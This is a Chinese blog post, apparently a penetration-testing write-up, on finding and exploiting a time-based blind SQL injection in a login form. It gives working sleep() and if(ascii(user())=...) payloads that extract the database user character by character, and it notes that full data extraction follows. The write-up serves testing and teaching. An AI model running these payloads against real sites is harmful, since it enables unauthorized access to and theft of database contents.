记一次实战中sql注入——一个登录框怎么测试?

一个登录框怎么测试?

测试步骤:

1、首先查找注入点:

在登录页面的账户输入admin’密码随便输,返回如下图

但是我输入admin’’ 密码随便,返回的又不一样

所以我先去bp里面抓包试验一下

用sleep()函数实验一下,看能不能触发这个sleep函数

果然它睡了五秒

Payload:admin'-sleep(5)-'

所以更加确定这个地方是有注入点的

那么接下来构造基本的轮子:

Payload:

admin '-sleep(if(1=1,5,0))-'#

在sleep()函数里面加一个if语句,就是说1=1那个表达式中,如果为真就返回5,否则就返回0

这一次也是停了5秒才显示出来的

继续构造poc

Payload:

admin '-sleep(if(user()!='a',10,0))-'#

利用user()获取当前用户,因为我不知道具体是哪个字符,所以只有加个感叹号才能说明这个语句为真,才会返回5,所以这次也是隔了五秒,raw才显示出来

继续构造poc

Payload:

a '-sleep(if(ascii(user())=1,10,0))-'#

所以我直接用ascii()函数将user()转换成ascii码进行爆破

出现了两个ascii码

所以试一下哪个是的

经过测验,发现121才会睡5秒,122没有睡

admin '-sleep(if(ascii(user())=121,5,0))-'#

admin '-sleep(if(ascii(user())=122,5,0))-'#

所以查ascii表发现

121对应字母y

然后来利用截取函数就可以跑出全部数据了

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值